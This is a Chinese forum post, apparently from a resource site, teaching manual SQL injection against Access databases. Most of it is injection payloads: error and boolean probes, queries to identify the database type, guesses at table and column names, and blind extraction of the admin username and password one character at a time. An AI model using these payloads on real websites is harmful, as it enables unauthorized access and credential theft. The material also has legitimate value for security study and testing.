无名商城论坛

搜索
查看: 460|回复: 0

[其他技术] SQL注入第二篇-Access数据库手工注入

[复制链接]

1万

主题

1万

帖子

3万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
32464
发表于 2022-5-8 18:15:49 | 显示全部楼层 |阅读模式
Access数据库手工注入

方法一
判断注入
' 出现错误 –可能存在注入漏洞
and 1=1 返回正确
and 1=2 返回错误 说明存在注入漏洞

判断数据库
and (select count(*) from msysobjects)>0 返回权限不足为access数据库
and (select count(*) from sysobjects)>0 返回正常则为MSSQL数据库

猜表名列名
and exists (select * from 表名) 猜测表名
and exists (select 列名 from 表名) 猜测列名

如:
判断是否存在admin的表:and exists (select * from admin)
判断是否存在username的列:and exists (select username from admin)
判断是否存在password的列:and exists (select password from admin)

猜解用户名和密码长度
and (select top 1 len(列名) from 表名)=X X代表数字,返回正确时代表所猜的列名长度为这个数字

如:
判断用户名的长度是否大于零:and (select top 1 len(username) from admin)>0
判断用户名的长度是否大于四:and (select top 1 len(username) from admin)>4
判断用户名的长度是否大于五:and (select top 1 len(username) from admin)>5
用户名一般都是admin,大于四返回正确,当大于五返回出错,那么他的长度就是5,密码一般是MD5加密的,所以一般都为16或32位。

猜解用户和密码的ascii码
这里应该采用截半法来提高效率。ascii码0-126。

例:
and(select top 1 asc(mid(username,1,1))from admin)>97 返回错误
and(select top 1 asc(mid(username,1,1))from admin)=97
and(select top 1 asc(mid(username,2,1))from admin)=100
and(select top 1 asc(mid(username,3,1))from admin)=109
and(select top 1 asc(mid(username,4,1))from admin)=105
and(select top 1 asc(mid(username,5,1))from admin)=110

password同理

ascii码对照表:
本帖隐藏的内容需要【资源会员】才可浏览,您需要升级才可浏览,点击这里升级【资源会员】

好像不支持写很多内容 剩下的笔记 在下面链接中 有需要的自己在博客中看一下吧
(视频在链接文章中划到最下面点在线观看就可以在线看了)
本帖隐藏的内容需要【资源会员】才可浏览,您需要升级才可浏览,点击这里升级【资源会员】

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表